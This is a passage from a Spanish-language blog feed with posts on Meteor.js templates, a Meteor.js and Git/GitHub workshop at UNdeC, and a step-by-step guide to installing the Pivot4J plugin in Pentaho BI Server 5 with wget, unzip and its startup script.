La siguiente figura pone un poco de luz al contenido de<span style="font-family: Courier New, Courier, monospace;"> {{currentUser.profile.name}}</span> y <span style="font-family: Courier New, Courier, monospace;">{{currentUser.services.google.picture}} </span><br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHcFupahyphenhyphenbp5ow57XOTCuGWK_UC3ysDxrXeVgHnH7ckBAVQpyurM2RTbHM5ZHByEBoxEIpmTtuxkOhQqbwekxLm_ltjaedfjf2g3igcG5MwrDHrXAO9ejaesp_kA34m3PuOR4L/s1600/Selecci%C3%B3n_209.png"><img border="0" height="262" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHcFupahyphenhyphenbp5ow57XOTCuGWK_UC3ysDxrXeVgHnH7ckBAVQpyurM2RTbHM5ZHByEBoxEIpmTtuxkOhQqbwekxLm_ltjaedfjf2g3igcG5MwrDHrXAO9ejaesp_kA34m3PuOR4L/s1600/Selecci%C3%B3n_209.png" width="640" /></a></div>
<div>
<br /></div>
<b style="font-family: 'Courier New', Courier, monospace;"><span style="color: #cc0000;">{{> contenido}}</span></b> será reemplazado por el contenido generado por el template <b style="font-family: 'Courier New', Courier, monospace;">name="<span style="color: #cc0000;">contenido</span>"</b></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b><br /></b></span><span style="color: blue; font-family: Courier New, Courier, monospace;"><b>{{loginButtons}}</b></span> es parte del módulo <span style="font-family: Courier New, Courier, monospace;">accounts-ui</span>, aparecerán los botones adecuados según el estado de autenticación y cuentas disponibles.<br />
<br />
Eso es todo, espero les haya sido de utilidad.<br />
<br />
En breve más material sobre este tema.<br />
<br />
Saludos</div>
<div>
<br /></div>
<div>
Mariano<br />
<pre style="background-color: white; border-bottom-left-radius: 10px; border-bottom-right-radius: 10px; border-top-left-radius: 10px; border-top-right-radius: 10px; border: 1px solid rgb(119, 119, 119); font-size: 12px; margin-bottom: 1em; margin-top: 1em; outline: 0px; padding: 5px; vertical-align: baseline; white-space: pre-wrap;"></pre>
</div>
</div>
<!-- Blogger automated replacement: "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg83_80gqaAZcYTOkYURsuTchZIn1PLe7dVjchxnsDkjKLtddypRst3BWfEOZtaRkFJzGQd3FsKdqUwyyPQ74f45Nduh1JlEO9vNuDI4y6y2QtD2yktXYYWCKLWD4GjW1YP9-L4/s1600/Selecci%C3%B3n_201.png" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg83_80gqaAZcYTOkYURsuTchZIn1PLe7dVjchxnsDkjKLtddypRst3BWfEOZtaRkFJzGQd3FsKdqUwyyPQ74f45Nduh1JlEO9vNuDI4y6y2QtD2yktXYYWCKLWD4GjW1YP9-L4/s1600/Selecci%C3%B3n_201.png" --><!-- Blogger automated replacement: "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG0s_3c9tTLIyoB56p8cGIi8qNDC4jFOra_PXCWrylUqJscvMwrovilEKKtwmqczrzUPFancFz-a6AhXhvB6zF0oYNafOSR-kP7eoen5tcYBnjbNGGWtAhi585zUopp6MAerxz/s1600/Selecci%C3%B3n_202.png" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG0s_3c9tTLIyoB56p8cGIi8qNDC4jFOra_PXCWrylUqJscvMwrovilEKKtwmqczrzUPFancFz-a6AhXhvB6zF0oYNafOSR-kP7eoen5tcYBnjbNGGWtAhi585zUopp6MAerxz/s1600/Selecci%C3%B3n_202.png" --><!-- Blogger automated replacement: "https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=http%3A%2F%2F3.bp.blogspot.com%2F-KD-ptcpKO08%2FUcM-eNbm2EI%2FAAAAAAAACJw%2Fil5JVD6rybU%2Fs1600%2FSelecci%25C3%25B3n_202.png&container=blogger&gadget=a&rewriteMime=image%2F*" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG0s_3c9tTLIyoB56p8cGIi8qNDC4jFOra_PXCWrylUqJscvMwrovilEKKtwmqczrzUPFancFz-a6AhXhvB6zF0oYNafOSR-kP7eoen5tcYBnjbNGGWtAhi585zUopp6MAerxz/s1600/Selecci%C3%B3n_202.png" --><!-- Blogger automated replacement: "https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=http%3A%2F%2F1.bp.blogspot.com%2F-_EjOvCx_k3U%2FUcM-4sZARyI%2FAAAAAAAACJ4%2FGP4OYXmE8so%2Fs1600%2FSelecci%25C3%25B3n_203.png&container=blogger&gadget=a&rewriteMime=image%2F*" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUY4geLsbKCre7ngWJabJoDDlkgTVOUmsHZLWJ9qTx_zAojQ2iwAI54UEdG14XDUZxXZRbbCjKDzkgbvocHEmSFZbojxkpqPQg0mICSDCU7myIBYpPCAjnh1nGe5Urp2VyWLgx/s1600/Selecci%C3%B3n_203.png" --><!-- Blogger automated replacement: "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUY4geLsbKCre7ngWJabJoDDlkgTVOUmsHZLWJ9qTx_zAojQ2iwAI54UEdG14XDUZxXZRbbCjKDzkgbvocHEmSFZbojxkpqPQg0mICSDCU7myIBYpPCAjnh1nGe5Urp2VyWLgx/s1600/Selecci%C3%B3n_203.png" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUY4geLsbKCre7ngWJabJoDDlkgTVOUmsHZLWJ9qTx_zAojQ2iwAI54UEdG14XDUZxXZRbbCjKDzkgbvocHEmSFZbojxkpqPQg0mICSDCU7myIBYpPCAjnh1nGe5Urp2VyWLgx/s1600/Selecci%C3%B3n_203.png" --><!-- Blogger automated replacement: "https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=http%3A%2F%2F1.bp.blogspot.com%2F-spPhxk3xq28%2FUcNJdfysP7I%2FAAAAAAAACK4%2FtXFHlSIr2IQ%2Fs1600%2FMen%25C3%25BA_208.png&container=blogger&gadget=a&rewriteMime=image%2F*" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggpEtNIeSuI51TGU47wtPdYnXpzuEKIPihI2Oq6hM08k_LkytXf9DESkMAehVjhDGht8fQAJqgamUnV_1mvrNsYPdPIVrfGfNROlc2QRio2IxEtPaYz05OVgtVGAL2fSMZLe6-/s1600/Men%C3%BA_208.png" --><!-- Blogger automated replacement: "https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=http%3A%2F%2F2.bp.blogspot.com%2F-kLE44ka_we8%2FUcM5VW6pEgI%2FAAAAAAAACJg%2Fa2oMFspca-w%2Fs1600%2FSelecci%25C3%25B3n_201.png&container=blogger&gadget=a&rewriteMime=image%2F*" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg83_80gqaAZcYTOkYURsuTchZIn1PLe7dVjchxnsDkjKLtddypRst3BWfEOZtaRkFJzGQd3FsKdqUwyyPQ74f45Nduh1JlEO9vNuDI4y6y2QtD2yktXYYWCKLWD4GjW1YP9-L4/s1600/Selecci%C3%B3n_201.png" --><!-- Blogger automated replacement: "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHcFupahyphenhyphenbp5ow57XOTCuGWK_UC3ysDxrXeVgHnH7ckBAVQpyurM2RTbHM5ZHByEBoxEIpmTtuxkOhQqbwekxLm_ltjaedfjf2g3igcG5MwrDHrXAO9ejaesp_kA34m3PuOR4L/s1600/Selecci%C3%B3n_209.png" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHcFupahyphenhyphenbp5ow57XOTCuGWK_UC3ysDxrXeVgHnH7ckBAVQpyurM2RTbHM5ZHByEBoxEIpmTtuxkOhQqbwekxLm_ltjaedfjf2g3igcG5MwrDHrXAO9ejaesp_kA34m3PuOR4L/s1600/Selecci%C3%B3n_209.png" --><!-- Blogger automated replacement: "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz8L6YS7gQxPXQuIy-ets6C9uh7fPHsYyjPe4QsAAnR-KT0TzTyXUhgEwWCvKOt6rVOXR7BbfqgMqTuMMVJlnhAKuJIqun12EQsw9ugLHD355Ho9DCiGooyHoUmpiEaNva-pvz/s1600/Selecci%C3%B3n_207.png" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz8L6YS7gQxPXQuIy-ets6C9uh7fPHsYyjPe4QsAAnR-KT0TzTyXUhgEwWCvKOt6rVOXR7BbfqgMqTuMMVJlnhAKuJIqun12EQsw9ugLHD355Ho9DCiGooyHoUmpiEaNva-pvz/s1600/Selecci%C3%B3n_207.png" --><!-- Blogger automated replacement: "https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=http%3A%2F%2F1.bp.blogspot.com%2F-qQq1Ta_ynvc%2FUcM_tGVANFI%2FAAAAAAAACKI%2FURRjanFhAiY%2Fs1600%2FSelecci%25C3%25B3n_204.png&container=blogger&gadget=a&rewriteMime=image%2F*" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6_8XKe3U9SAe0z6ABZD3kdpMWBgPOV-YftvFkj5zuU9R9_dZmuR790F6zxy5Vcd31lZ5_fSM_bGOekjJlEgMjPJTKtrEVkj4SzXd77gja1LmIpBwSVZWOX4nTILrkAUH0k5a9/s1600/Selecci%C3%B3n_204.png" --><!-- Blogger automated replacement: "https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=http%3A%2F%2F1.bp.blogspot.com%2F-cjSWLPcEbc4%2FUcNIPxoe6zI%2FAAAAAAAACKo%2FLwp048HVU40%2Fs1600%2FSelecci%25C3%25B3n_205.png&container=blogger&gadget=a&rewriteMime=image%2F*" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUa9MeQBavy0r1MU0z8A3eFXfIUUfEkVzKiFoYEidutLLxzuNryj9_1bOJMirKKw9IFYdmbSr1EJ8diqryTS8xzwH10y83y0KiOmNjF8zOKYjJyyfgsmmvWD85G2B7Ce7Ep1o8/s1600/Selecci%C3%B3n_205.png" --><!-- Blogger automated replacement: "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6_8XKe3U9SAe0z6ABZD3kdpMWBgPOV-YftvFkj5zuU9R9_dZmuR790F6zxy5Vcd31lZ5_fSM_bGOekjJlEgMjPJTKtrEVkj4SzXd77gja1LmIpBwSVZWOX4nTILrkAUH0k5a9/s1600/Selecci%C3%B3n_204.png" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6_8XKe3U9SAe0z6ABZD3kdpMWBgPOV-YftvFkj5zuU9R9_dZmuR790F6zxy5Vcd31lZ5_fSM_bGOekjJlEgMjPJTKtrEVkj4SzXd77gja1LmIpBwSVZWOX4nTILrkAUH0k5a9/s1600/Selecci%C3%B3n_204.png" --><!-- Blogger automated replacement: "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7nhpiRYsVqHdv7Meo44DUrsDwncSC7G7g-e9oA_2aKSEaqaF5Sh9tPKEM5WP3XlP2Rn8WvxHiOTc4jt-0_M-zoaCiwtaj5NQxthbNoYFDV1doXmJZ0c3qW2QDIpDnpm6Mv9bg/s1600/Selecci%C3%B3n_206.png" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7nhpiRYsVqHdv7Meo44DUrsDwncSC7G7g-e9oA_2aKSEaqaF5Sh9tPKEM5WP3XlP2Rn8WvxHiOTc4jt-0_M-zoaCiwtaj5NQxthbNoYFDV1doXmJZ0c3qW2QDIpDnpm6Mv9bg/s1600/Selecci%C3%B3n_206.png" --><!-- Blogger automated replacement: "https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=http%3A%2F%2F1.bp.blogspot.com%2F-oXjBjpbhyCc%2FUcNIxeo05eI%2FAAAAAAAACKw%2Ffj7JzxAtws4%2Fs1600%2FSelecci%25C3%25B3n_207.png&container=blogger&gadget=a&rewriteMime=image%2F*" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz8L6YS7gQxPXQuIy-ets6C9uh7fPHsYyjPe4QsAAnR-KT0TzTyXUhgEwWCvKOt6rVOXR7BbfqgMqTuMMVJlnhAKuJIqun12EQsw9ugLHD355Ho9DCiGooyHoUmpiEaNva-pvz/s1600/Selecci%C3%B3n_207.png" --><!-- Blogger automated replacement: "https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=http%3A%2F%2F2.bp.blogspot.com%2F-1QHBzxC-Epg%2FUcNGnqgfoiI%2FAAAAAAAACKY%2FlyyVAr1T0QE%2Fs1600%2FSelecci%25C3%25B3n_206.png&container=blogger&gadget=a&rewriteMime=image%2F*" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7nhpiRYsVqHdv7Meo44DUrsDwncSC7G7g-e9oA_2aKSEaqaF5Sh9tPKEM5WP3XlP2Rn8WvxHiOTc4jt-0_M-zoaCiwtaj5NQxthbNoYFDV1doXmJZ0c3qW2QDIpDnpm6Mv9bg/s1600/Selecci%C3%B3n_206.png" --><!-- Blogger automated replacement: "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggpEtNIeSuI51TGU47wtPdYnXpzuEKIPihI2Oq6hM08k_LkytXf9DESkMAehVjhDGht8fQAJqgamUnV_1mvrNsYPdPIVrfGfNROlc2QRio2IxEtPaYz05OVgtVGAL2fSMZLe6-/s1600/Men%C3%BA_208.png" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggpEtNIeSuI51TGU47wtPdYnXpzuEKIPihI2Oq6hM08k_LkytXf9DESkMAehVjhDGht8fQAJqgamUnV_1mvrNsYPdPIVrfGfNROlc2QRio2IxEtPaYz05OVgtVGAL2fSMZLe6-/s1600/Men%C3%BA_208.png" --><!-- Blogger automated replacement: "https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=http%3A%2F%2F3.bp.blogspot.com%2F-otFLQAUkfuA%2FUcNMkmdMRWI%2FAAAAAAAACLI%2FtZLS0v1CLEs%2Fs1600%2FSelecci%25C3%25B3n_209.png&container=blogger&gadget=a&rewriteMime=image%2F*" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHcFupahyphenhyphenbp5ow57XOTCuGWK_UC3ysDxrXeVgHnH7ckBAVQpyurM2RTbHM5ZHByEBoxEIpmTtuxkOhQqbwekxLm_ltjaedfjf2g3igcG5MwrDHrXAO9ejaesp_kA34m3PuOR4L/s1600/Selecci%C3%B3n_209.png" --><!-- Blogger automated replacement: "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUa9MeQBavy0r1MU0z8A3eFXfIUUfEkVzKiFoYEidutLLxzuNryj9_1bOJMirKKw9IFYdmbSr1EJ8diqryTS8xzwH10y83y0KiOmNjF8zOKYjJyyfgsmmvWD85G2B7Ce7Ep1o8/s1600/Selecci%C3%B3n_205.png" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUa9MeQBavy0r1MU0z8A3eFXfIUUfEkVzKiFoYEidutLLxzuNryj9_1bOJMirKKw9IFYdmbSr1EJ8diqryTS8xzwH10y83y0KiOmNjF8zOKYjJyyfgsmmvWD85G2B7Ce7Ep1o8/s1600/Selecci%C3%B3n_205.png" -->Anonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com1tag:blogger.com,1999:blog-22972149.post-4845204195840873492013-06-17T20:56:00.002-03:002013-06-17T20:56:52.974-03:00Cursos taller Meteor.js y Git/GithubHemos finalizado con mucho éxito el curso taller de Meteor.js y Git/Github en la UNdeC.<br />
Gracias a todos por asistir!<br />
<br />
<a href="http://2.bp.blogspot.com/-IWpjEZRFQy4/Ub5FEoOe7cI/AAAAAAAAAbs/2dZiJwj9NsQ/s1600/P6101075.JPG" imageanchor="1" style="color: #cc6600; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; margin-left: 1em; margin-right: 1em; text-align: center; text-decoration: none;"><img border="0" height="240" src="http://2.bp.blogspot.com/-IWpjEZRFQy4/Ub5FEoOe7cI/AAAAAAAAAbs/2dZiJwj9NsQ/s1600/P6101075.JPG" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; background-color: #111111; border: 1px solid rgb(17, 17, 17); box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; padding: 1px; position: relative;" width="320" /></a><br />
<br />
<a href="http://3.bp.blogspot.com/-ATJDcw38uLY/Ub5E4zaoQkI/AAAAAAAAAbk/PjjnqEx93ME/s1600/P6101074.JPG" imageanchor="1" style="color: #cc6600; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18px; margin-left: 1em; margin-right: 1em; text-align: center; text-decoration: none;"><img border="0" height="240" src="http://3.bp.blogspot.com/-ATJDcw38uLY/Ub5E4zaoQkI/AAAAAAAAAbk/PjjnqEx93ME/s1600/P6101074.JPG" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; background-color: #111111; border: 1px solid rgb(17, 17, 17); box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; padding: 1px; position: relative;" width="320" /></a><br />
<br />
<a href="http://www.youtube.com/watch?v=AKCL_cm7I5E">Entrevista</a><br />
<br />
**Especial agradecimiento a Fernanda Carmona y Horacio Martínez del Pezzo por el apoyo y colaboración brindada.**<br />
<br />Anonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-91321060683687826462013-06-05T13:58:00.000-03:002013-06-05T13:59:10.695-03:00Pivot4J en Pentaho BI Server 5 Hola Gente,<br />
<br />
En este breve post veremos como instalar Pivot4J en Pentaho BI Server 5.<br />
<br />
Si bien Pentaho 5 aún no está disponible en versión alpha, lo podemos descargar desde el server de integración continua en esta dirección: <a href="http://ci.pentaho.com/view/Platform/job/BISERVER-CE/">http://ci.pentaho.com/view/Platform/job/BISERVER-CE/</a><br />
A la hora de escribir este post el trunk es el 981 y el archivo a descargar es<b> biserver-ce-TRUNK-SNAPSHOT-jenkins-BISERVER-CE-981.zip</b>.<br />
<br />
Una vez descargado este archivo utilizando, por ejemplo, el comando:<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b>wget</b> http://ci.pentaho.com/view/Platform/job/BISERVER-CE/lastSuccessfulBuild/artifact/assembly/dist/biserver-ce-TRUNK-SNAPSHOT-jenkins-BISERVER-CE-981.zip</span><br />
<b><span style="font-family: Arial, Helvetica, sans-serif;">(recomiendo descargar la última versión)</span></b><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
Descomprimimos la carpeta biserver-ce utilizando, por ejemplo, el comando:<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b>unzip</b> biserver-ce-TRUNK-SNAPSHOT-jenkins-BISERVER-CE-981.zip</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b><br /></b></span>
Una vez descomprimido el BI Server, descargamos el plugin de Pivot4J (<a href="http://mysticfall.github.io/pivot4j/download.html">http://mysticfall.github.io/pivot4j/download.html</a>) para Pentaho utilizando, por ejemplo, el comando:<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b>wget</b> http://dev.eyeq.co.kr/jenkins/job/Pivot4J/lastSuccessfulBuild/artifact/pivot4j-pentaho/target/pivot4j-pentaho-0.8-SNAPSHOT-plugin.zip</span><br />
<b><span style="font-family: Arial, Helvetica, sans-serif;">(recomiendo descargar la última versión)</span></b><br />
<b><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></b>
Copiamos el archivo anterior en la carpeta <span style="font-family: Courier New, Courier, monospace; font-size: x-small;">[CARPETA_DE_DESCOMPRESIÓN]/biserver-ce/pentaho-solutions/system </span>utilizando, por ejemplo el comando:<br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b>cp</b> pivot4j-pentaho-0.8-SNAPSHOT-plugin.zip [CARPETA_DE_DESCOMPRESIÓN]/biserver-ce/pentaho-solutions/system/</span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
Nos cambiamos a la carpeta system:<br />
<br />
<div>
<b style="font-family: 'Courier New', Courier, monospace; font-size: small;">cd</b><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> </span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">[CARPETA_DE_DESCOMPRESIÓN]/</span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">biserver-ce/pentaho-solutions/system/</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
Descomprimimos utilizando, por ejemplo, el comando:</div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">unzip pivot4j-pentaho-0.8-SNAPSHOT-plugin.zip</span></div>
<div>
<br /></div>
Listo!, eso es todo, ahora iniciamos el BI Server:<br />
<div>
<br /></div>
<div>
<b style="font-family: 'Courier New', Courier, monospace; font-size: small;">cd</b><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> </span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">[CARPETA_DE_DESCOMPRESIÓN]/</span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">biserver-ce</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">./start-pentaho.sh</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
Iniciamos el navegador en la url:<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> http://localhost:8080</span>, utilizamos <span style="font-family: Courier New, Courier, monospace; font-size: x-small;">admin</span> para el nombre de usuario y la clave es <span style="font-family: Courier New, Courier, monospace; font-size: x-small;">password</span>, luego presionamos el botón<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> "Manage Data Sources"</span> y agregamos uno nuevo de tipo <span style="font-family: Courier New, Courier, monospace; font-size: x-small;">Analisys.</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_5Fhi2phDsjF_3d3l4C6fDcUreL52aPeZxVGD66GyJSEbZ3EWGAn_6Upd7UA481gEgudRzFl2LklCZ8hpQZQmUYp0HxijnbX0f9vV0ZysUmj-HZnnWpk-oNN0Bzybl2e7kjqv/s1600/Men%C3%BA_187.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_5Fhi2phDsjF_3d3l4C6fDcUreL52aPeZxVGD66GyJSEbZ3EWGAn_6Upd7UA481gEgudRzFl2LklCZ8hpQZQmUYp0HxijnbX0f9vV0ZysUmj-HZnnWpk-oNN0Bzybl2e7kjqv/s1600/Men%C3%BA_187.png" height="278" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span>
<div>
Seleccionamos el archivo: <span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">[CARPETA_DE_DESCOMPRESIÓN]/</span><span style="font-family: Courier New, Courier, monospace; font-size: x-small;">biserver-ce/pentaho-solutions/steel-wheels/analysis</span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">steelwheels.mondrian.xml</span></div>
</div>
<div>
Y el Data Source <span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">SampleData</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhStA8LfuVY0tcs9osVa_3CqC8HJsZBElpc2VxC4Wyu7MRLlVKHbFQPc9wIK1fyVstlbKkgGe49wZP6KQVfiF5tLR42kzSAWQOCczxJsd1IQbNiwkhb28QG43uylgZavJB1sbqn/s1600/Selecci%C3%B3n_188.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhStA8LfuVY0tcs9osVa_3CqC8HJsZBElpc2VxC4Wyu7MRLlVKHbFQPc9wIK1fyVstlbKkgGe49wZP6KQVfiF5tLR42kzSAWQOCczxJsd1IQbNiwkhb28QG43uylgZavJB1sbqn/s1600/Selecci%C3%B3n_188.png" height="277" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Obtendremos:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilczyIpDx0ZljFik_LV81cTRvrKEcE9XZXpEJWfwNRI75XiFP8voAr-86d6jr-iAQDLTU03Htc_bUmINF-rk9Nln2u3puTh2I66Vql832EjuoNM0ZxwSTyCk9ICrUahTRq4-N8/s1600/Selecci%C3%B3n_189.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilczyIpDx0ZljFik_LV81cTRvrKEcE9XZXpEJWfwNRI75XiFP8voAr-86d6jr-iAQDLTU03Htc_bUmINF-rk9Nln2u3puTh2I66Vql832EjuoNM0ZxwSTyCk9ICrUahTRq4-N8/s1600/Selecci%C3%B3n_189.png" height="243" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Luego solo tenemos que crear un nuevo análisis:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdVsXD3TG620pSUFnnkH5l3fFLmYpxRNjqK7-yB7Q5DxQNQHQvebVCb6if0GpsVWNZ9EtnJ9khw7FLWJbIg5yUx9T9Wnbb7higuWW3gn0j3DdfazRwB4ZhZOzaScYlgQuoRpRH/s1600/Men%C3%BA_193.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdVsXD3TG620pSUFnnkH5l3fFLmYpxRNjqK7-yB7Q5DxQNQHQvebVCb6if0GpsVWNZ9EtnJ9khw7FLWJbIg5yUx9T9Wnbb7higuWW3gn0j3DdfazRwB4ZhZOzaScYlgQuoRpRH/s1600/Men%C3%BA_193.png" height="115" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Seleccionamos el esquema y el cubo:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMaMEHaXEYU_g2WzfBW_lpDWpWe0nbh2E9S3UM-f3gqADh8tUSBaU0F5riyTdhipmCBurI7KY93gfBWZYGNuEaHrwBvuClIhtOgrPbOTTkvf1EGA_rxLJHJXZ7X-OkfxH2m_fB/s1600/Selecci%C3%B3n_194.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMaMEHaXEYU_g2WzfBW_lpDWpWe0nbh2E9S3UM-f3gqADh8tUSBaU0F5riyTdhipmCBurI7KY93gfBWZYGNuEaHrwBvuClIhtOgrPbOTTkvf1EGA_rxLJHJXZ7X-OkfxH2m_fB/s1600/Selecci%C3%B3n_194.png" height="217" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Y a usar Pivot4J !!</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvA08SCYrKebD095K1lVZCWjJp2lsuc2BlxBLcXZGXTxqEFQdHfstxLAiNcqCmz0TrfpNUlEUCRPDF5t6sCo5HAZhOLE7N3SmIv9-0JUmAUTnpzxhbXOcL0yzL4Fei3lNQaWxk/s1600/Selecci%C3%B3n_195.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvA08SCYrKebD095K1lVZCWjJp2lsuc2BlxBLcXZGXTxqEFQdHfstxLAiNcqCmz0TrfpNUlEUCRPDF5t6sCo5HAZhOLE7N3SmIv9-0JUmAUTnpzxhbXOcL0yzL4Fei3lNQaWxk/s1600/Selecci%C3%B3n_195.png" height="392" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Espero que les sea de utilidad</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Saludos</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Mariano</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
Anonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0